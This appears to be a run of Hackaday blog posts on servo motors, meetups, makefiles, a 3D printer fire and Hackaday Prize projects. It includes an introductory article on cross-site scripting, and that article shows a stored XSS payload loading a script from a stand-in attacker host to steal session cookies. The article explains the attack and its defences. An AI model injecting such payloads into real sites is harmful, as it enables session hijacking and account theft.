Hackaday Dictionary: Servo Motors

How do you make things move? You add in a motor that converts electrical energy into motion. That’s a simple idea, but how do you know where the motor is? That’s where the servo motor comes in. By adding a sensor and a controller to the mechanism, these motors can figure out how far they have rotated and maintain that setting without any need for external control.

A disassembled servo motor showing the controller, motor, rotary encoder and gears. By oomlout - SERV-05-ST_TEARDOWN_03, CC BY-SA 2.0
A disassembled servo motor showing the controller, motor, rotary encoder and gears. By oomlout, CC BY-SA 2.0

What is a Servo Motor?

These neat devices can be large or small, but they all share the same basic characteristics: a motor connected to a gearing mechanism and an encoder that detects the movement and speed of the motor. This combination means that the controlling device doesn’t need to know anything about the motor itself: the controller on the servo motor handles the process of feeding the appropriate power to the motor until it reaches the requested position. This makes it much easier to build things with servomotors, as the designer has already done all the hard work for you.

The first place that most people encounter a servo motor is in the small hobby servos that are used in remote control vehicles. Manufactured by companies like Hitec and Futaba, these drive a gear or arm that transfers the rotation of the motor to perform tasks like turning a wheel to steer a car, moving a control surface on an RC plane, or any task that requires a small range of motion at high precision. The gearing in the servomotor offers more torque than connecting the shaft directly to the motor. Most hobby servos of this type are restricted to a certain range of motion (usually 180 degrees) because the position encoder is a simple potentiometer connected to the output shaft.

A selection of different sized servo motors. By Osamu Iwasaki
A selection of different sized servo motors. By Osamu Iwasaki

Servomotors usually have three connection wires: a power line, a ground line and a signal line. The signal line is fed a pulse width modulation (PWM) signal that determines the angle that the servomotor moves to. As the name suggests, the length of the pulse (or the width, if you look at it on an oscilloscope) is the thing that controls the angle that the servo moves to: a short pulse (1 millisecond) sets it to the zero angle, while a long pulse of 2 milliseconds sets it to the maximum angle. A pulse length between these two limits signals the servomotor to move to the corresponding angle: 1.5 ms would set it to 90 degrees.

It is important to note that servomotors and stepper motors are not the same thing. Both are used for positioning, but steppers usually run without feedback. Instead, steppers turn (as the name suggest) in discrete steps. To figure out where a stepper motor is requires a limit switch, then driving the stepper until this is triggered. Then if you keep count out the number of steps that it’s traveled, you know where it is. That’s why devices like inkjet or 3D printers will move to their limits when they start up, so the controller can detect the far limit of the mechanism being driven, and calculate the current position from that.

How Do You Use A Servomotor?

Because the designers of servomotors have done most of the hard work for you, servomotors are very easy to use. To drive them, you just need to feed them power (usually 5V) and feed the PWM signal to the servomotor. You can drive them directly from an Arduino or similar microcontroller using a library that converts an angle into a PWM signal on one of the output pins.

Each servomotor requires a dedicated output pin if they are being driven this way, though, so if you are driving a lot of servomotors, a dedicated controller makes more sense. Devices such as the Adafruit Servo Shield and the Pololu Maestro allow you to control multiple servos from a single output pin on the microcontroller: the microcontroller sends a signal to the device addressing each servo in turn, and the device converts this into the PWM signals for each. If you need to drive a lot of servos, the SD84 can control up to 84 servos at once from a single USB port.

(Headline image bots: µBob and Hexapod4.)

Lead A Hackaday Meetup In Your City

If you love Hackaday and want to meet your community you should lead a Hackaday meetup in your city. This is fun and easy. Get ready, we’ll help you do it!

Fill out this form to let us know that you’re interested in leading. We’ll set up a Meetup.com page with you as the organizer, add an organizer badge to your Hackaday.io profile, and send a swag pack your way. Of course we’ll also help publicize the event so that everyone in the area knows it’s happening.

World Create Day on April 23rd

A meetup can take on a life of its own with the right group of like-minded participants, but it has to start with an initial meeting. We’re hoping to provide that spark by coordinating our first world-wide live event: World Create Day on April 23rd.

World Create Day lays down a design challenge. The people at your meetup will pick a technology challenge and brainstorm a solution for it. Leverage the skills of everyone involved to come up with mechanical, electrical, and design solutions. This is what the Hackaday Prize is all about and what you come up with at World Create Day should be entered in the first challenge.

We want to see pictures and hear about what interesting build ideas sprouted from your group. We’ll be picking the most spectacular design solutions to share on the Hackaday front page, and there will be prizes. But we also want to celebrate the fun of getting together in person with all of the people who make Hackaday a part of their daily ritual.

Hackaday Meetup Beyond

World Create Day is a single day event, but your meetup can live on if you want it to. We can help with ideas for future meetups of your group, you can pass it off to someone else, or you can make this a one-time event. It’s up to you. But we are always looking for active communities when organizing Global Meetups. This is a great way to show that the Hackaday community is alive and thriving in your part of the world. Maybe our next big event will be held in your city!

The Dark Arts: Cross Site Scripting

In 2011, a group of hackers known as Lulzsec went on a two month rampage hacking into dozens of websites including those owned by FOX, PBS, the FBI, Sony and many others. The group was eventually caught and questioned in how they were able to pull off so many hacks. It would be revealed that none of the hackers actually knew each other in real life. They didn’t even know each other’s real names. They only spoke in secluded chat rooms tucked away in a dark corner of the internet and knew each other by their  aliases – [tFlow], [Sabu], [Topiary], [Kayla], to name a few. Each had their own special skill, and when combined together they were a very effective team of hackers.

It was found that they used 3 primary methods of cracking into websites – SQL injection, cross-site scripting and remote file inclusion. We gave a basic overview of how a SQL injection attack works in the previous article of this series. In this article we’re going to do the same with cross-site scripting, or XSS for short. SQL injection has been called the biggest vulnerability in the history of mankind from a potential data loss perspective. Cross-site scripting comes in as a close second. Let’s take a look at how it works.

XSS Scenario

Let us suppose that you wanted to sell an Arduino on your favorite buy-and-sell auction website. The first thing to do would be to log into the server. During this process,  a cookie from that server would be stored on your computer. Anytime you load the website in your browser, it will send that cookie along with your HTTP request to the server, letting it know that it was you and saving you from having to log in every time you visit. It is this cookie that will become the target of our attack.

You would then open up some type of window that would allow you to type in a description of your Arduino that potential buyers could read. Let’s imagine you say something like:

Arduino Uno in perfect condition. New in Box. $15 plus shipping.

You would save your description and it would be stored on a database in the server. So far, there is nothing out of the ordinary or suspicious about our scenario at all. But let’s take a look at what happens when a potential buyer logs into the server. They’re in need of an Arduino and see your ad that you just posted. What does their browser see when they load your post?

Arduino Uno in perfect condition. <b>New in Box</b>. $15 plus shipping.
xss_02
Source

Whether you realize it or not, you just ran HTML code (in the form of the bold tags) on their computer, albeit harmless code that does what both the buyer and seller want – to highlight a specific selling point of the product. But what other code can you run? Can you run code that might do something the buyer surely does not want? Code that will run on any and every computer that loads the post? Not only should you be able to see where we’re going with this, you should also be able to see the scope of the problem and just how dangerous it can be.

Now let us imagine a Lulzsec hacker is out scoping for some much needed lulz. He runs across your post and nearly instantly recognizes that you were able to run HTML code on his computer. He then makes a selling ad on the website:

Lot of 25 Raspberry Pi Zeros - New in Box - < script src="http://lulz.com/email_me_your_cookie.js" ></script> - $100, free shipping.

Now as soon as someone opens up the hacker’s ad, the script section will load up the malicious off-site code and steal the victim’s session cookie. Normally, only the website specified in a cookie has access to that cookie. Here, since the malicious code was served from the auction website’s server, the victim’s browser has no problem with sending the auction website’s cookie. Now the hacker can load the cookie into his browser to impersonate the victim, allowing the hacker access to everything his victim has access to.

Endless Opportunities

With a little imagination, you can see just how far you can reach with a cross-site scripting attack. You can envision a more targeted attack with a hacker trying to get inside a large company like Intel by exploiting a flawed competition entry process. The hacker visits the Intel Edison competition entry page and sees that he can run code in the application submission form. He knows someone on the Intel intranet will likely read his application and guesses it will be done via a browser. His XSS attack will run as soon as his entry is opened by the unsuspecting Intel employee.

This kind of attack can be run in any user input that allows containing code to be executed on another computer. Take a comment box for instance. Type in some type of < script >evil</script> into a comment box and it will load on every computer that loads that page. [Samy Kamkar] used a similar technique to pull off his famous Myspace worm as we talked about in the beginning of the previous article in this series. XSS, at one time, could even have been done with images.

Preventing XSS attacks

As with SQLi based attacks, almost all website developers in this day and age are aware of XSS and take active measures to prevent it. One prevention is validating input. Trying to run JavaScript in most applications where you should not be will not only give you an error, but will likely flag your account as being up to no good.

xss_03
Source

One thing you can do to protect yourself from such an attack is to use what is known as a sandboxed browser. This keeps code that runs in a browser in a “box” and keeps the rest of your computer safe. Most modern browsers have this technology built in. A more drastic step would be to disable JavaScript entirely from running on your computer.

There are people here that are far more knowledgeable than I on these type of hacking techniques. It was my hope to give the average hardware hacker a basic understanding of XSS and how it works. We welcome comments from those with a more advanced knowledge of cross-site scripting and other website hacking techniques that would help to deepen everyone’s understanding of these important subjects.

Source

XSS Flash animation 1

XSS Flash animation 2

Embed With Elliot: ARM Makefile Madness

To wrap up my quick tour through the wonderland of make and makefiles, we’re going to look at a pair of possible makefiles for building ARM projects. Although I’m specifically targeting the STM32F407, the chip on a dev board that I have on my desk, it’s reasonably straightforward to extend these to any of the ST ARM chips, and only a bit more work to extend it to any ARM processor.

If you followed along in the first two installments of this series, I demonstrated some basic usages of make that heavily leveraged the built-in rules. Then, we extended these rules to cross-compile for the AVR series of microcontrollers. Now we’re going to tackle a more complicated chip, and that’s going to mean compiling with support libraries. While not required, it’s a lot easier to get an LED blinking on the ARM platforms with some additional help.

One of the main contributions of an IDE like Arduino or mbed or similar is the ease of including external libraries through pull-down menus. If you’ve never built a makefile-based project before, you might be surprised how it’s not particularly more difficult to add libraries to your project.
Continue reading “Embed With Elliot: ARM Makefile Madness”

Ask Hackaday MRRF Edition: 3D Printers Can Catch Fire

[Jay] out of the River City Labs Hackerspace in Peoria, IL cleared out a jam in his printer. It’s an operation most of us who own a 3D printer have performed. He reassembled the nozzle, and in a moment forgot to tighten down the grub nut that holds the heater cartridge in place. He started a print, saw the first layer go down right, and left the house at 8:30 for work. When he came back from work at 10:30 he didn’t see the print he expected, but was instead greeted by acrid smoke and a burnt out printer.

The approximate start time of the fire can be guessed by the height of the print before failure.
The approximate start time of the fire can be guessed by the height of the print before failure.

As far as he can figure, some time at around the thirty minute mark the heater cartridge vibrated out of the block. The printer saw a drop in temperature and increased the power to the cartridge. Since the cartridge was now hanging in air and the thermistor that reads the temperature was still attached to the block, the printer kept sending power. Eventually the cartridge, without a place to dump the energy being fed to it, burst into flame. This resulted in the carnage pictured. Luckily the Zortrax is a solidly built full metal printer, so there wasn’t much fuel for the fire, but the damage is total and the fire could easily have spread.

Which brings us to the topics of discussion.

How much can we trust our own work? We all have our home-builds and once you’ve put a lot of work into a printer you want to see it print a lot of things. I regularly leave the house with a print running and have a few other home projects going 24/7. Am I being arrogant? Should I treat my home work with a lesser degree of trust than something built by a larger organization? Or is the chance about the same? Continue reading “Ask Hackaday MRRF Edition: 3D Printers Can Catch Fire”

Hackaday Links: March 20, 2016

Western Digital introduced their second revision of the PiDrive this week. This is a native USB hard drive – formatted to 314GB – based on the WD Blue drive. The earlier version of the WD PiDrive was 1TB, and cost about $70 USD. The new, 314GB version, sells for about $35. Does Western Digital manufacture 314GB hard drives? No, that would be stupid. Who’s taking bets on the actual capacity of these drives?

[SopaXorsTaker] has introduced us to a brand new way of removing BGA chips. PCBs are usually more flexible than chips, and a few whacks with a hammer is all that’s needed.

For the last few months, [quarterturn] has been upgrading a PowerBook 520. He’s trying to replace the CPU with a 68040 that has an FPU. His first attempt failed, and his second attempt – a new Freescale part that certainly has an FPU – also failed. It’s great experience in desoldering and reworking fine-pitch QFP parts, but [quarterturn] has no idea why the Apple System Profile reports an FPU-less CPU. It might be something in the ROM that tells the PowerBook not to use the FPU, in which case the obvious upgrade would be to replace the ROM with one from a PowerBook 550c or a Sonnet upgrade card. If you have either of those, I’m sure [quarterturn] would like to have a word with you.

LIDAR! We all know what the coolest use of LIDAR is, but it’s also useful for robots, drones, and other autonomous thingamadoos. Here’s a Kickstarter for a LIDAR module, 40 meter range, 360 degree range, 500 samples per second, and UART/USB connections.

[Bill] is trying to start a Makerspace in Fort Lauderdale. Here’s the indiegogo campaign.

We launched the 2016 Hackaday Prize this week. Why should you enter? Because last year, it seemed everyone who entered early won something. There’s $300,000 worth of prizes on the line. Need an idea? [Dave Darko] has just the thing for you. It’s the Hackaday Prize Buzzword Generator, the perfect thing for spitballing a few ideas and seeing what sticks.

stupid-ideas

Hacklet 100 – The 2016 Hackaday Prize

Welcome to the 100th Hacklet! This has been a huge week for Hackaday, as we launched The 2016 Hackaday Prize. We’ve invited you to change the world. Hackers, makers, and engineers have already answered the call, with nearly 200 entered projects! What better way to celebrate our 100th Hacklet than taking a look at a few of these early entrants?

rarmWe start with [Patrick Joyce] and Raimi’s Arm – Bionic Arm for Kids. Raimi was born with an arm which ends just below the elbow. She’s still a kid – and growing, which means she will quickly grow out of any prosthetic. This has placed bionic arms out of her reach. [Patrick] saw a plea from Raimi’s father for help. 3D printed arms for the disabled are a thing, but [Patrick] couldn’t find one which fit the bill for Raimi. So he’s set out to design one himself. This will be an open source project which anyone with the proper tools can replicate. [Patrick] has already created several test rigs, and is well on the way to building an arm for Raimi and others!

latheNext up is [castvee8] who has entered the 2016 Hackaday Prize with Building Simplified Machinery. Over the years, [Castvee8] has built a few 3D printers and CNC machines. These projects always start with buying the same parts over and over: ground rods, linear bearings, stepper motors, drivers, etc. [Castvee8] is trying to build 3D printed machines which use as few of these vitamins as possible, yet are still strong enough to work in wood, plastic, wax, foam, and other light maker-friendly materials. So far the simple, modular components and electronics have led to a mini mill, mini lathe, and a drill press for things like printed circuit boards. Keeping things low-cost will make these tools accessible to everyone.

turpump[Keegan Reilly] entered Everyman’s turbomolecular pump. Vacuum pumps are great, but everyone knows the real fun starts around 10^-7 Torr. Pulling things down this low requires a specialized pump. Two common designs are oil diffusion pumps and Turbomolecular pumps. Oil diffusion is cheap, but not everyone wants a hot vat of oil bubbling away in their vacuum chamber. Turbomolecular pumps are much cleaner, but very expensive. [Keegan] is attempting to design a low-cost version of a turbomolecular pump. He’s trying to use Tesla’s bladeless turbine design rather than the traditional bladed turbines used in commercial pumps. So far tests using a Dremel tool and paper discs have been promising – nothing has exploded yet!

commongroundFinally, we have [Samuel Bowman] with Seamless IoT Protocol Translation: Common Ground. Love it or hate it, the Internet of Things is going to be here for a while. Every device seems to speak a different language though . Z-wave, Zigbee, LoRa, WiFi, and a host of other protocols, all on different frequencies. Some are frequency hopping, some use mesh networks. [Samuel] is trying to design one device to translate between any of the emerging standards. Common Ground started as a science fair project connecting MQTT to Phillips Hue devices. Once [Samuel] achieved that goal, he realized how much potential there is in a universal translator box. We’re hoping [Samuel] achieves his goals quickly – it seems like new IoT standards are being introduced every day.

New projects are entering the 2016 Hackaday Prize every hour! You can see the full list right here. That’s it for the 100th Hacklet. As always, see you next week. Same hack time, same hack channel, bringing you the best of Hackaday.io!